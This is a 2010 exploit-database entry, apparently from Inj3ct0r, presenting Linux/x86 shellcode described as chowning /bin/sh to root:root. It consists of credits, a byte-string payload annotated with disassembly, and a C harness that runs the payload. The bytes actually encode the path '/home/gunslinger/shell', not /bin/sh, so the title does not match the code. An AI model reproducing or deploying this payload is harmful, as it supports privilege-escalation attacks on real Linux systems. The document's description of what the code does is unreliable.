48 bytes small chown root:root /bin/sh Linux/x86 shellcode.
6f5d38c2cd132a2a2bc10eec9ee4ab47efdce742a3341c212543ee2af9f8d80b
/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Name : 48 bytes chown root:root /bin/sh x86 linux shellcode
Date : Sat Jun 5 15:32:40 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : https://devilzc0de.org
blog : https://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
greetz to : flyff666, whitehat, ketek, chaer, peneter, and all devilzc0de crew
*/
#include <stdio.h>
char *shellcode=
"\xeb\x13" /* jmp 0x8048075 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\xb6" /* mov $0xb6,%al */
"\x5b" /* pop %ebx */
"\x31\xc9" /* xor %ecx,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x01" /* mov $0x1,%al */
"\x31\xdb" /* xor %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\xe8\xff\xff\xff" /* call 0x8048062 */
"\x2f" /* das */
"\x68\x6f\x6d\x65\x2f" /* push $0x2f656d6f */
"\x67\x75\x6e" /* addr16 jne 0x80480f1 */
"\x73\x6c" /* jae 0x80480f1 */
"\x69\x6e\x67\x65\x72\x2f\x73"/* imul $0x732f7265,0x67(%esi),%ebp */
"\x68" /* .byte 0x68 */
"\x65" /* gs */
"\x6c" /* insb (%dx),%es "(%edi) */
"\x6c"; /* insb (%dx),%es "(%edi) */
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
((void (*)(void)) shellcode)();
return 0;
}